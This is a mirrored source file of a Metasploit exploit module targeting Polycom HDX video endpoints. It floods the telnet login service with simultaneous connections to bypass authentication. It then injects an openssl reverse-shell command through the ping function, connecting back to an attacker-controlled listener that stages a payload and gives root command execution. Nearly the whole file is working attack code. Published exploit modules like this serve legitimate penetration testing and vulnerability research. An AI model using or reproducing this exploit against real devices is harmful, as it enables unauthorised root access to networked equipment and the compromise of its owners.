Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
include Msf::Exploit::Remote::Tcp
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Polycom Command Shell Authorization Bypass',
16
'Alias' => 'polycom_hdx_auth_bypass',
17
'Author' => [
18
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module
19
'h00die <[email protected]>', # submission/cleanup
20
],
21
'DisclosureDate' => '2013-01-18',
22
'Description' => %q{
23
The login component of the Polycom Command Shell on Polycom HDX
24
video endpoints, running software versions 3.0.5 and earlier,
25
is vulnerable to an authorization bypass when simultaneous
26
connections are made to the service, allowing remote network
27
attackers to gain access to a sandboxed telnet prompt without
28
authentication. Versions prior to 3.0.4 contain OS command
29
injection in the ping command which can be used to execute
30
arbitrary commands as root.
31
},
32
'License' => MSF_LICENSE,
33
'References' => [
34
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],
35
[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],
36
[ 'EDB', '24494']
37
],
38
'Platform' => 'unix',
39
'Arch' => ARCH_CMD,
40
'Privileged' => true,
41
'Targets' => [ [ "Universal", {} ] ],
42
'Payload' => {
43
'Space' => 8000,
44
'DisableNops' => true,
45
'Compat' => { 'PayloadType' => 'cmd' }
46
},
47
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
48
'DefaultTarget' => 0,
49
'Notes' => {
50
'Reliability' => UNKNOWN_RELIABILITY,
51
'Stability' => UNKNOWN_STABILITY,
52
'SideEffects' => UNKNOWN_SIDE_EFFECTS
53
}
54
)
55
)
56
57
register_options(
58
[
59
Opt::RHOST(),
60
Opt::RPORT(23),
61
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
62
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
63
], self.class
64
)
65
register_advanced_options(
66
[
67
OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),
68
OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])
69
], self.class
70
)
71
end
72
73
def check
74
connect
75
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
76
Rex.sleep(1)
77
res = sock.get_once
78
disconnect
79
80
if !res && !res.empty?
81
return Exploit::CheckCode::Safe
82
end
83
84
if res =~ /Welcome to ViewStation/
85
return Exploit::CheckCode::Appears
86
end
87
88
Exploit::CheckCode::Safe
89
end
90
91
def exploit
92
# Keep track of results (successful connections)
93
results = []
94
95
# Random string for password
96
password = Rex::Text.rand_text_alpha(rand(5) + 1)
97
98
# Threaded login checker
99
max_threads = datastore['THREADS']
100
cur_threads = []
101
102
# Try up to 100 times just to be sure
103
queue = [*(1..datastore['MAX_CONNECTIONS'])]
104
105
print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")
106
until queue.empty?
107
while cur_threads.length < max_threads
108
109
# We can stop if we get a valid login
110
break unless results.empty?
111
112
# keep track of how many attempts we've made
113
item = queue.shift
114
115
# We can stop if we reach max tries
116
break unless item
117
118
t = Thread.new(item) do |count|
119
sock = connect
120
sock.put(password + "\n")
121
res = sock.get_once
122
123
until res.empty?
124
break unless results.empty?
125
126
# Post-login Polycom banner means success
127
if res =~ /Polycom/
128
results << sock
129
break
130
# bind error indicates bypass is working
131
elsif res =~ /bind/
132
sock.put(password + "\n")
133
# Login error means we need to disconnect
134
elsif res =~ /failed/
135
break
136
# To many connections means we need to disconnect
137
elsif res =~ /Error/
138
break
139
end
140
res = sock.get_once
141
end
142
end
143
144
cur_threads << t
145
end
146
147
# We can stop if we get a valid login
148
break unless results.empty?
149
150
# Add to a list of dead threads if we're finished
151
cur_threads.each_index do |ti|
152
t = cur_threads[ti]
153
unless t.alive?
154
cur_threads[ti] = nil
155
end
156
end
157
158
# Remove any dead threads from the set
159
cur_threads.delete(nil)
160
161
Rex.sleep(0.25)
162
end
163
164
# Clean up any remaining threads
165
cur_threads.each { |sock| sock.kill }
166
167
if !results.empty?
168
print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")
169
do_payload(results[0])
170
else
171
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
172
end
173
end
174
175
def do_payload(sock)
176
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
177
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
178
179
# Start a listener
180
start_listener(true)
181
182
# Figure out the port we picked
183
cbport = self.service.getsockname[2]
184
185
# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
186
cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"
187
sock.put(cmd)
188
189
# Give time for our command to be queued and executed
190
1.upto(5) do
191
Rex.sleep(1)
192
break if session_created?
193
end
194
end
195
196
def stage_final_payload(cli)
197
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
198
cli.put(payload.encoded + "\n")
199
end
200
201
def start_listener(ssl = false)
202
comm = datastore['ListenerComm']
203
if comm == 'local'
204
comm = ::Rex::Socket::Comm::Local
205
else
206
comm = nil
207
end
208
209
self.service = Rex::Socket::TcpServer.create(
210
'LocalPort' => datastore['CBPORT'],
211
'SSL' => ssl,
212
'SSLCert' => datastore['SSLCert'],
213
'Comm' => comm,
214
'Context' =>
215
{
216
'Msf' => framework,
217
'MsfExploit' => self
218
}
219
)
220
221
self.service.on_client_connect_proc = proc { |client|
222
stage_final_payload(client)
223
}
224
225
# Start the listening service
226
self.service.start
227
end
228
229
# Shut down any running services
230
def cleanup
231
super
232
if self.service
233
print_status("Shutting down payload stager listener...")
234
begin
235
self.service.deref if self.service.is_a?(Rex::Service)
236
if self.service.is_a?(Rex::Socket)
237
self.service.close
238
self.service.stop
239
end
240
self.service = nil
241
rescue ::Exception
242
end
243
end
244
end
245
246
# Accessor for our TCP payload stager
247
attr_accessor :service
248
end
249
250